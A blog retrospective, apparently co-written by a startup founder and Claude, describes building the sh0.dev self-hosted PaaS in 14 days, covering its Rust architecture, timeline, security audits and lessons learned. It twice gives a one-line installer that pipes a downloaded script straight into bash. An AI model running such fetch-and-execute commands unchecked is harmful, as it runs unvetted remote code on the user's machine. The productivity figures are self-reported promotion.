Back to sh0
sh0

14 Days, 105 Sessions, 1 AI CTO: The Complete Story of Building sh0.dev

The complete story of building sh0.dev -- a production-grade PaaS with 488 tests, 119 templates, 25 MCP tools, and an AI assistant -- in 14 days from Abidjan with zero human engineers.

Thales & Claude | March 25, 2026 16 min sh0
ai-ctoclauderetrospectivebuild-in-publicafrica-techrustpaasstartup

On March 12, 2026, we started building a Platform-as-a-Service from scratch. Fourteen days later, on March 25, we had a production-grade system: 10 Rust crates, 182 API endpoints, 488 tests, 119 one-click templates, 25 MCP tools for AI-assisted management, a full Svelte 5 dashboard, a marketing website with payment processing, and a CLI that mirrors every dashboard action. The total engineering team: one human founder in Abidjan, one AI CTO.

This is the complete story -- not the highlight reel, but the full picture. What we built, how we built it, what broke, what surprised us, and what we learned about the CEO + AI CTO model that we believe will reshape how software companies are built.

The Premise

Juste Thales Gnimavo is the CEO of ZeroSuite, a company building six products from Abidjan, Cote d'Ivoire. He is not an engineer. He does not write Rust, TypeScript, or SQL. He decides what to build, in what order, and with what constraints. He defines the product requirements, reviews the output, and tests the results. He is the domain expert, the product manager, and the QA department.

Claude -- the AI writing this article alongside Thales -- serves as the CTO. Architecture decisions, implementation, debugging, security audits, documentation, and code review all flow through the AI. Not as a code completion tool embedded in an IDE, but as a session-based partner that maintains context across entire work streams.

The relationship is not "developer + copilot." It is "CEO + CTO" -- one sets direction, the other executes. The gap between those two models is the entire thesis of ZeroSuite.

The Timeline

Day 1 -- March 12: Foundation (Phases 1-3, 15)

The project scaffolding was the first session. A Cargo workspace with 10 crates:

  • sh0 -- the main binary (CLI + server)
  • sh0-api -- Axum API server
  • sh0-db -- SQLite + migrations + 22 model files
  • sh0-docker -- Docker Engine API client over Unix socket
  • sh0-builder -- stack detection + Dockerfile generation + code health
  • sh0-proxy -- Caddy process management + config generation
  • sh0-git -- git clone/pull + webhook verification
  • sh0-monitor -- metric collection + alert evaluation
  • sh0-backup -- backup engine + storage backends
  • sh0-auth -- Argon2 + JWT + TOTP + encryption

By the end of Day 1, we had the Docker engine client (container ops, image builds, network/volume management), the API server skeleton (app CRUD, deployment triggers, log streaming), and the CLI client (7 commands). The test count was 256.

Day 2 -- March 13: Deploy Pipeline + Bug Fixes

The full deploy pipeline came together: git clone, stack detection, Dockerfile generation, Docker image build, container creation with health polling, blue-green swap, and Caddy route update. The bug fix session tackled BUG-009 through BUG-012 -- stale git repos, Caddy permission errors, CSRF on body-less POSTs. Test count: 385.

Day 3 -- March 14: Dashboard + Live Testing

Three parallel sessions. The dashboard core pages (apps, deployments, logs, domains, environment variables). Deploy pipeline expansion (Docker image direct deploy, Dockerfile-only deploy, ZIP file upload). Live testing that surfaced BUG-014 through BUG-017 -- app name uniqueness, Docker cleanup, CSRF blocking uploads. Test count: 444.

Day 4 -- March 15: Dashboard Redesign + Templates

The stack-based dashboard architecture: dual sidebar, context sidebar, command palette. The Deploy Hub page -- a Softaculous-style unified deployment interface with 183 deploy options. 119 YAML templates across 15 categories (databases, CMS, analytics, auth, AI/ML, DevTools, productivity, email, queues, search, networking, media, finance, education, forums). Web terminal via xterm.js and WebSocket.

Day 5 -- March 16: Website + Payments + Storage

The marketing website (21 pages). Stripe integration for global payments. ZeroFee integration for Mobile Money payments across 18+ African countries. External storage providers via OpenDAL (S3, R2, SFTP, and 10 more). License system infrastructure. The API docs page with a live playground.

Day 6 -- March 17: Security Audit + Pricing Alignment

The first major security audit: 6 critical fixes (RBAC on storage, shell injection prevention, XSS, WebSocket token security, master key handling), 8 high fixes, 4 medium fixes. The plans alignment session -- making Free genuinely generous, moving terminal/cron/hooks/previews out of the Pro gate. Custom SSL certificates. URL redirect rules. HTTP-only cookie authentication.

Day 7 -- March 18: Infrastructure Polish

Database connection URLs and credential management. Environment variable editor redesign (key-value + raw .env editor). SSH key management. Git provider management. Settings system. Backup restore from external storage. Monitoring page redesign with 4 tabs.

Day 8 -- March 19: FTP/FTPS Fix + Backup Testing

The FTP IPv6/EPSV nightmare. Bypassed OpenDAL for FTP/FTPS, wrote a direct suppaftp client with EPSV mode and correct TLS SNI. Tested backup operations end-to-end.

Day 9 -- March 20: Multi-Server (Phase 29)

BYOS (Bring Your Own Server) support. SSH tunnel module using russh. DockerClient refactored into Unix + TCP variants. Node registry with health monitoring. Image transfer between Docker daemons. Node assignment UI in all deploy forms.

Day 10 -- March 21: OpenAPI Integration

utoipa 5 integration: ToSchema on 69 DTOs, utoipa::path on 182 handlers, auto-generated OpenAPI 3.1 spec served at /openapi.json. Shared ApiExplorer component for docs + playground. Deleted the 180+ manually maintained endpoint entries. Two audit passes adding error response documentation to all 182 endpoints. Test count: 478.

Day 11 -- March 22: License Enforcement + MCP Phase 3

License enforcement wired across 10 handler files, 25+ functions gated. Dashboard UpgradePrompt integrated into all gated pages. MCP Phase 3: write operations, scoped API keys, destructive action confirmation tokens. 25 total MCP tools.

Day 12 -- March 23: AI Assistant

The AI chat interface in the dashboard. Gateway connecting to Claude via the Anthropic API. MCP Connector integration for direct tool use. Specialist agents (DevOps, DBA, Security, Developer, SRE, Network). File and image uploads in chat.

Day 13 -- March 24: AI Sandbox + Web Search

AI Sandbox Container: an Alpine container per app where the AI assistant can execute commands, read files, check connectivity, and list processes. Web search and URL browsing tools via Tavily and Jina. 27 total MCP tools.

Day 14 -- March 25: Release Pipeline + Polish

Install script (curl -fsSL https://get.sh0.dev | bash). Cross-compilation for Linux x64/ARM64 + macOS. GitHub Actions CI/CD. Auto-install Docker + Caddy on first run. Port availability checks. The final test count: 488.

The Numbers

MetricCount
Calendar days14
Work sessions105
Rust crates10
API endpoints182
Tests488
One-click templates119
MCP tools25 (27 with web search)
Dashboard languages5 (English, French, Spanish, Portuguese, Swahili)
Security findings fixed88 (across 4 audit rounds)
Deploy catalog options183
Database migrations30
Dockerfile templates19 (15 framework + PHP/Ruby/.NET + Docker Compose)
Export format generators7 (Docker Compose, Vercel, AWS ECS, GCP Cloud Run, Kubernetes, Railway, Render)
Storage provider integrations13 (S3, R2, SFTP, FTP/FTPS, DigitalOcean, Hetzner, MinIO, Wasabi, Backblaze, Dropbox, Google Drive, and more)
Website pages21 (marketing + legal + account portal)
Legal documents11

The Stack

Backend: Rust. Not because Rust is trendy, but because a PaaS binary needs to be a single, statically-linked executable that runs on bare metal without a runtime. sh0 compiles to one binary that includes the API server, the dashboard (embedded via include_dir), the CLI, the migration runner, and the setup wizard. No Python, no Node.js, no JVM on the target server.

Frontend: Svelte 5 with runes ($state, $derived, $effect, $props). Compiled to static files, embedded into the Rust binary, served by Axum. TailwindCSS 4 for styling. xterm.js for the web terminal. The dashboard is a SPA with adapter-static, meaning it produces a folder of HTML/JS/CSS that the Rust server serves directly.

Reverse Proxy: Caddy. Managed programmatically via its admin API. Automatic HTTPS via Let's Encrypt. Load balancing for horizontal scaling. Custom SSL certificate support. We considered building a proxy layer into the Rust binary, but Caddy's certificate management is mature and battle-tested in ways that would have taken months to replicate.

Database: SQLite. One file, zero configuration, embedded in the process. For a self-hosted PaaS managing tens to hundreds of apps on a single server, SQLite's performance is more than sufficient, and the operational simplicity is unbeatable. No connection strings, no database servers, no backup coordination -- just a file that travels with the binary.

AI: Claude via the Anthropic API, with MCP (Model Context Protocol) for tool use. The AI assistant in the dashboard can list apps, trigger deployments, read logs, manage environment variables, execute commands in sandbox containers, search the web, and browse URLs -- all through structured tool calls, not freeform code generation.

The Methodology

Session Architecture

Every working session followed a protocol:

1. Session log created with date, phase, and objectives 2. Implementation -- writing code, running tests, fixing issues 3. Verification -- cargo build, cargo test, svelte-check, npm run build 4. Session log updated with what was done, files changed, test counts, and what is next 5. Feature tracking updated in FEATURES-TODO.md

This is not ceremony for ceremony's sake. When you are running 105 sessions in 14 days, the session logs are how you maintain continuity. Each log tells the next session exactly where things stand: what was built, what failed, what needs testing, what is next. Without them, the AI CTO would lose context between sessions, and the human CEO would lose track of progress.

Audit Loops

Every 5-6 phases, we ran a full security and quality audit. Not a cursory review -- a systematic analysis of every handler, every input path, every privilege check. The audit rounds found 88 issues total:

  • Phases 7-12 audit: 34 findings (command injection, CSRF, CORS, body limits, WebSocket auth)
  • Phases 13-19 audit: 30 findings (RBAC gaps, SSRF, HTML injection, SMTP header injection, volume path traversal, YAML bombs)
  • Phases 20-25 audit: 51 findings identified, 37 fixed (command injection in cron/hooks, cross-app auth bypass, URL validation, autoscaler race conditions)
  • Phase 29 audits: 3 rounds of multi-server security fixes (silent fallback to local Docker, image transfer size limits, SSH tunnel resource leaks)

The audit loops caught issues that no amount of feature-focused testing would have found. SSRF in webhook URLs. HTML injection in email alert bodies. SMTP header injection via newlines in subjects. Path traversal in compose volume mounts. These are the bugs that make headlines when they reach production.

Parallel Agents

Several phases were designed to run in parallel using git worktrees:

  • Phase 11 (Backup Engine, Rust) alongside Phase 12 (Dashboard Scaffolding, Svelte) -- zero file overlap
  • Phase 15 (CLI Client) alongside Phase 13 (Dashboard Core Pages) -- both consume the same API, never touch the same files
  • Phase 16 (Templates) alongside Phase 14 (Dashboard Extended Pages)
  • Phase 17 (Alert Dispatch) alongside Phase 18 (Docker Compose)

This parallelism was possible because the crate structure enforced clean boundaries. The backup engine lives in sh0-backup, the dashboard lives in dashboard/. No shared files means no merge conflicts, and two agent sessions can work simultaneously.

What Did Not Work

Cross-Compilation

Getting the Rust binary to cross-compile for Linux ARM64 from a macOS host was a multi-session ordeal. The aws-lc-sys crate (pulled in transitively by rustls) required CMake and perl in the cross-compilation container. A GCC bug caused a memcmp optimization failure that required AWS_LC_SYS_CMAKE_BUILDER=1. Docker credential helpers on macOS had PATH issues when invoked from cross-compilation containers. We eventually forced the entire workspace to use ring as the crypto provider instead of aws-lc-sys, which eliminated the CMake dependency entirely.

Caddy Crashes

Caddy's process management was more fragile than expected. The Caddy process would occasionally die with no error output -- killed by the OS for memory pressure, or crashing on an invalid configuration that our validation should have caught. We added a background health monitor (5-second interval) that detects when Caddy is not responding and automatically restarts it. The graceful shutdown sequence uses SIGTERM with a timeout, then SIGKILL as a last resort.

FTP

FTP in 2026 should not be this hard. The IPv6/EPSV incompatibility, the OpenDAL abstraction that could not be configured for the edge case we hit, the TLS SNI hostname mismatch -- this single protocol consumed an entire session. We ended up bypassing the abstraction layer entirely and writing a direct client. The lesson: when an abstraction cannot handle your use case, do not fight the abstraction. Replace it for that use case.

Docker Network Aliases

Template deployments with multi-service applications (WordPress + MySQL, Ghost + MySQL, etc.) failed silently because Docker containers were not reachable by their service names on the network. The fix was two lines -- setting the network alias to match the template service name -- but finding the bug required tracing through the Docker network stack to understand why hostname resolution failed inside the container.

What Surprised Us

The Pace

Building a PaaS in 14 days sounds absurd. It is absurd. But the session-based methodology made it possible. Each session had a clear scope (one phase, one audit, one bug fix batch), clear verification criteria (tests pass, builds clean), and clear handoff (session log with next steps). The AI CTO does not get tired, does not lose focus after 8 hours, and does not need to context-switch between meetings.

What limits the pace is the human. Thales reviewed every session's output, tested the dashboard manually, reported bugs, and decided what to build next. The AI can write code 24 hours a day, but the product decisions, the testing, and the "does this actually feel right when you use it" judgment are fundamentally human activities.

Security Audit Quality

The AI-generated security audits were better than expected. Not "good for an AI" -- genuinely thorough. The SSRF prevention in webhook URLs, the SMTP header injection fix, the YAML bomb protection, the shell metacharacter validation in cron commands -- these are not textbook vulnerabilities that any scanner would catch. They require understanding the specific context of the application: what data flows through which handlers, what user input reaches which system calls, where the trust boundaries are.

88 security findings across 4 audit rounds. All critical and high issues fixed. That is a security posture that many startups with human security engineers do not achieve.

Session Logs as Institutional Memory

The session logs turned out to be more valuable than we expected. They are not just a record of what happened -- they are the institutional memory of the project. When we hit a bug in session 80 that was related to a decision made in session 15, the session log from session 15 explained why that decision was made, what alternatives were considered, and what tradeoffs were accepted.

In a traditional team, this knowledge lives in engineers' heads and gets lost when they leave. In the AI CTO model, it lives in structured documents that can be read by any future session. The session logs are our engineering wiki, our decision record, and our changelog, written in real-time as the work happens.

The Power of Systematic Structure

The Cargo workspace structure with 10 crates was not just organizational tidiness -- it was what made the entire build possible. Clean crate boundaries meant parallel development sessions. Explicit public APIs between crates meant changes in one crate did not cascade unpredictably. The migration system meant database schema changes were versioned and reproducible. The embedded dashboard meant the entire product shipped as a single binary.

Every structural decision made in the first session paid dividends in the last. The foundation was the investment.

The Future

sh0 is not done. The core platform works -- you can install it with a curl command, deploy apps from git, Docker images, ZIP uploads, or 119 templates, scale horizontally, manage backups, monitor uptime, and get AI-assisted operations through the MCP-powered chat. But there is more to build:

  • Phase 30: AI build diagnostics -- using LLMs to explain build failures in plain English
  • Phase 31: Nixpacks/Buildpacks -- an alternative build path that does not require Dockerfiles
  • Phase 32: Multi-environment (dev/staging/prod) with promotion flows
  • Phase 33: GitHub Actions + Terraform provider
  • Phase 36: TypeScript, Python, and Go SDKs

And the cloud version -- managed sh0 with server provisioning, multi-region deployment, and per-request billing -- is the next major milestone.

The Lesson

The CEO + AI CTO model works. Not in theory, not as a thought experiment, but in practice, shipping a production-grade PaaS in 14 days from Abidjan with zero human engineers.

But it works only if you do it right. The pieces that make it work are not glamorous:

Session discipline. Every session starts with context, ends with a log, and has clear verification criteria. Without this, the AI CTO produces impressive-looking code that does not integrate with what came before.

Systematic audits. The AI will ship security vulnerabilities if you do not ask it to find them. The audit loops -- scheduled, thorough, documented -- are what turn "fast" into "fast and secure."

Structural decisions early. The 10-crate workspace, the migration system, the embedded dashboard, the session log format -- these were Day 1 decisions that shaped every subsequent day. Get the structure wrong and velocity drops as complexity grows. Get it right and the 100th session is as productive as the 10th.

A human making the decisions. The AI does not know what to build next. It does not know whether the pricing is right for the market. It does not know whether the dashboard feels good to use. It does not know that African developers need Mobile Money support, or that a self-hosted PaaS should not throttle its own administrator. The human provides the judgment, the market knowledge, and the taste. The AI provides the execution, the consistency, and the tirelessness.

One founder. One AI CTO. One hundred and five sessions. One product.

That is how we built sh0.dev.

---

This is Part 35 -- the final article in the "How We Built sh0.dev" series. The full series covers everything from the Day 1 scaffolding to the security audits, from the Docker engine to the AI assistant, from the template system to the FTP bugs that nearly broke us. If you have followed along this far: thank you. If you want to try what we built, the install is one command: curl -fsSL https://get.sh0.dev | bash.

Share this article:

Responses

Write a response
0/2000
Loading responses...

Related Articles